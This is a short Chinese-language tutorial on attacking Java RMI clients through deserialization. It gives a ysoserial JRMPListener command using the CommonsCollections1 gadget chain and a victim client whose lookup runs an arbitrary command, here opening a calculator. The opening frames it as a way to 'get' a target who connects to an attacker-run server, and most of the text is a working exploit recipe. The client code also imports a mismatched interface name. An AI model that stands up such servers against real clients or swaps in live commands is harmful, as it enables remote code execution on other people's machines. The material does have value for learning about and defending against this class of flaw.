0x01 前言

直接开始吧,主要是知道怎么攻击的就可以了

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1

0x03 攻击测试

0x03.1 案例介绍

例如现在我们要搞人家,那么就可以特地搭建一个这样的服务器,等待客户端链接我们,然后一击毙命

0x3.2 创建恶意服务端

  1. // 下载ysoserial
  2. // 然后按如下命令启动即可
  3. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections1 "open /System/Applications/Calculator.app"

image.png

0x03.3 被攻击测试

  1. // 目录结构
  2. ├── RMITest5
  3. ├── RMITest5Interface.java
  4. └── RMIClient
  5. └── RMIClientTest5.java
  1. // 公共接口
  2. package RMITest5;
  3. import java.rmi.Remote;
  4. import java.rmi.RemoteException;
  5. public interface RMITest5Interface extends Remote {
  6. String test() throws RemoteException;
  7. }
  1. // 客户端
  2. package RMITest5.RMIClient;
  3. import RMITest.RMITestInterface;
  4. import java.rmi.Naming;
  5. public class RMIClientTest5 {
  6. public static void main(String[] args) {
  7. try {
  8. String rmiName = "rmi://127.0.0.1:9998/t5";
  9. // 查找远程RMI服务
  10. RMITestInterface rt = (RMITestInterface) Naming.lookup(rmiName);
  11. } catch (Exception e) {
  12. e.printStackTrace();
  13. }
  14. }
  15. }
  16. // 运行结果
  17. 运行完毕以后,客户端会弹出一个计算器